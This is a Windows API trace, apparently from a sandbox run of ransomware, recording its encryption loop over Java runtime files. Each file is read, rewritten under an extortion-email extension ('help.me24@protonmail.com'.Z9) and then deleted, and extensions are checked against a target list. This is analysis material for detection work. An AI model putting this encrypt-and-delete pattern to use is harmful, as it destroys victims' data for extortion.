	[0093.029] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0093.032] GetLastError () returned 0x0
	[0093.032] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x8640, lpOverlapped=0x0) returned 1
	[0093.038] WriteFile (in: hFile=0x324, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x8650, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x8650, lpOverlapped=0x0) returned 1
	[0093.040] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.040] WriteFile (in: hFile=0x324, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xee, lpOverlapped=0x0) returned 1
	[0093.040] SetEndOfFile (hFile=0x324) returned 1
	[0093.040] CloseHandle (hObject=0x324) returned 1
	[0093.040] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.040] SetEndOfFile (hFile=0x364) returned 1
	[0093.041] CloseHandle (hObject=0x364) returned 1
	[0093.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.041] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 1
	[0093.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0093.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0093.042] lstrlenW (lpString=".doc") returned 4
	[0093.042] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0093.042] lstrlenW (lpString=".docx") returned 5
	[0093.042] lstrcmpiW (lpString1=".docx", lpString2="h.exe") returned -1
	[0093.042] lstrlenW (lpString=".pdf") returned 4
	[0093.042] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0093.042] lstrlenW (lpString=".xls") returned 4
	[0093.042] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0093.042] lstrlenW (lpString=".xlsx") returned 5
	[0093.042] lstrcmpiW (lpString1=".xlsx", lpString2="h.exe") returned -1
	[0093.042] lstrlenW (lpString=".ppt") returned 4
	[0093.042] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0093.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0093.042] lstrlenW (lpString=".zip") returned 4
	[0093.042] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0093.042] lstrlenW (lpString=".rar") returned 4
	[0093.042] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0093.042] lstrlenW (lpString=".bz2") returned 4
	[0093.042] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0093.042] lstrlenW (lpString=".7z") returned 3
	[0093.042] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0093.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0093.042] lstrlenW (lpString=".dbf") returned 4
	[0093.042] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0093.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0093.042] lstrlenW (lpString=".1cd") returned 4
	[0093.042] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0093.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0093.042] lstrlenW (lpString=".jpg") returned 4
	[0093.042] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0093.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0093.043] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0093.043] lstrlenW (lpString=".doc") returned 4
	[0093.043] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0093.043] lstrlenW (lpString=".docx") returned 5
	[0093.043] lstrcmpiW (lpString1=".docx", lpString2="h.exe") returned -1
	[0093.043] lstrlenW (lpString=".pdf") returned 4
	[0093.043] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0093.043] lstrlenW (lpString=".xls") returned 4
	[0093.043] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0093.043] lstrlenW (lpString=".xlsx") returned 5
	[0093.043] lstrcmpiW (lpString1=".xlsx", lpString2="h.exe") returned -1
	[0093.043] lstrlenW (lpString=".ppt") returned 4
	[0093.043] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0093.043] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0093.043] lstrlenW (lpString=".zip") returned 4
	[0093.043] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0093.043] lstrlenW (lpString=".rar") returned 4
	[0093.043] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0093.043] lstrlenW (lpString=".bz2") returned 4
	[0093.043] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0093.043] lstrlenW (lpString=".7z") returned 3
	[0093.043] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0093.043] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0093.043] lstrlenW (lpString=".dbf") returned 4
	[0093.043] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0093.043] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0093.043] lstrlenW (lpString=".1cd") returned 4
	[0093.043] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0093.043] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0093.043] lstrlenW (lpString=".jpg") returned 4
	[0093.043] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0093.043] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.044] lstrlenW (lpString="java.dll") returned 8
	[0093.044] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0093.044] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=159808) returned 1
	[0093.044] CloseHandle (hObject=0x364) returned 1
	[0093.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 0x20
	[0093.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.044] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0093.044] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.044] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.044] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0093.045] GetLastError () returned 0x0
	[0093.045] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x27040, lpOverlapped=0x0) returned 1
	[0093.063] WriteFile (in: hFile=0x324, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x27050, lpOverlapped=0x0) returned 1
	[0093.066] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.066] WriteFile (in: hFile=0x324, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0093.066] SetEndOfFile (hFile=0x324) returned 1
	[0093.066] CloseHandle (hObject=0x324) returned 1
	[0093.066] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.066] SetEndOfFile (hFile=0x364) returned 1
	[0093.068] CloseHandle (hObject=0x364) returned 1
	[0093.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.068] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 1
	[0093.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0093.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0093.068] lstrlenW (lpString=".doc") returned 4
	[0093.069] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.069] lstrlenW (lpString=".docx") returned 5
	[0093.069] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0093.069] lstrlenW (lpString=".pdf") returned 4
	[0093.069] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.069] lstrlenW (lpString=".xls") returned 4
	[0093.069] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.069] lstrlenW (lpString=".xlsx") returned 5
	[0093.069] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0093.069] lstrlenW (lpString=".ppt") returned 4
	[0093.069] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0093.069] lstrlenW (lpString=".zip") returned 4
	[0093.069] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.069] lstrlenW (lpString=".rar") returned 4
	[0093.069] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.069] lstrlenW (lpString=".bz2") returned 4
	[0093.069] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.069] lstrlenW (lpString=".7z") returned 3
	[0093.069] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0093.069] lstrlenW (lpString=".dbf") returned 4
	[0093.069] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0093.069] lstrlenW (lpString=".1cd") returned 4
	[0093.069] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0093.069] lstrlenW (lpString=".jpg") returned 4
	[0093.069] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0093.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0093.069] lstrlenW (lpString=".doc") returned 4
	[0093.069] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.069] lstrlenW (lpString=".docx") returned 5
	[0093.070] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0093.070] lstrlenW (lpString=".pdf") returned 4
	[0093.070] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.070] lstrlenW (lpString=".xls") returned 4
	[0093.070] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.070] lstrlenW (lpString=".xlsx") returned 5
	[0093.070] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0093.070] lstrlenW (lpString=".ppt") returned 4
	[0093.070] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.070] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0093.070] lstrlenW (lpString=".zip") returned 4
	[0093.070] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.070] lstrlenW (lpString=".rar") returned 4
	[0093.070] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.070] lstrlenW (lpString=".bz2") returned 4
	[0093.070] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.070] lstrlenW (lpString=".7z") returned 3
	[0093.070] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.070] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0093.070] lstrlenW (lpString=".dbf") returned 4
	[0093.070] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.070] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0093.070] lstrlenW (lpString=".1cd") returned 4
	[0093.070] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.070] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47
	[0093.070] lstrlenW (lpString=".jpg") returned 4
	[0093.070] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.070] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.070] lstrlenW (lpString="JavaAccessBridge-64.dll") returned 23
	[0093.070] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0093.071] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=142400) returned 1
	[0093.071] CloseHandle (hObject=0x364) returned 1
	[0093.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 0x20
	[0093.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.071] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0093.071] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.071] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.072] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0093.174] GetLastError () returned 0x0
	[0093.174] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x22c40, lpOverlapped=0x0) returned 1
	[0093.182] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x22c50, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x22c50, lpOverlapped=0x0) returned 1
	[0093.185] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.185] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x102, lpOverlapped=0x0) returned 1
	[0093.185] SetEndOfFile (hFile=0x2bc) returned 1
	[0093.185] CloseHandle (hObject=0x2bc) returned 1
	[0093.185] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.185] SetEndOfFile (hFile=0x364) returned 1
	[0093.187] CloseHandle (hObject=0x364) returned 1
	[0093.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.187] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 1
	[0093.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0093.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0093.188] lstrlenW (lpString=".doc") returned 4
	[0093.188] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.188] lstrlenW (lpString=".docx") returned 5
	[0093.188] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0093.188] lstrlenW (lpString=".pdf") returned 4
	[0093.188] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.188] lstrlenW (lpString=".xls") returned 4
	[0093.188] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.188] lstrlenW (lpString=".xlsx") returned 5
	[0093.188] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0093.188] lstrlenW (lpString=".ppt") returned 4
	[0093.188] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0093.188] lstrlenW (lpString=".zip") returned 4
	[0093.188] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.188] lstrlenW (lpString=".rar") returned 4
	[0093.188] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.188] lstrlenW (lpString=".bz2") returned 4
	[0093.188] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.188] lstrlenW (lpString=".7z") returned 3
	[0093.188] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0093.188] lstrlenW (lpString=".dbf") returned 4
	[0093.188] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0093.188] lstrlenW (lpString=".1cd") returned 4
	[0093.188] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0093.188] lstrlenW (lpString=".jpg") returned 4
	[0093.188] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0093.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0093.189] lstrlenW (lpString=".doc") returned 4
	[0093.189] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.189] lstrlenW (lpString=".docx") returned 5
	[0093.189] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0093.189] lstrlenW (lpString=".pdf") returned 4
	[0093.189] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.189] lstrlenW (lpString=".xls") returned 4
	[0093.189] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.189] lstrlenW (lpString=".xlsx") returned 5
	[0093.189] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0093.189] lstrlenW (lpString=".ppt") returned 4
	[0093.189] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0093.189] lstrlenW (lpString=".zip") returned 4
	[0093.189] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.189] lstrlenW (lpString=".rar") returned 4
	[0093.189] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.189] lstrlenW (lpString=".bz2") returned 4
	[0093.189] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.189] lstrlenW (lpString=".7z") returned 3
	[0093.189] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0093.189] lstrlenW (lpString=".dbf") returned 4
	[0093.189] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0093.189] lstrlenW (lpString=".1cd") returned 4
	[0093.189] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0093.189] lstrlenW (lpString=".jpg") returned 4
	[0093.189] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.189] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0093.190] lstrlenW (lpString="javacpl.exe") returned 11
	[0093.190] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0093.190] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=80448) returned 1
	[0093.190] CloseHandle (hObject=0x364) returned 1
	[0093.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 0x20
	[0093.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.190] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0093.190] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.190] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.190] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0093.191] GetLastError () returned 0x0
	[0093.191] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x13a40, lpOverlapped=0x0) returned 1
	[0093.207] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x13a50, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x13a50, lpOverlapped=0x0) returned 1
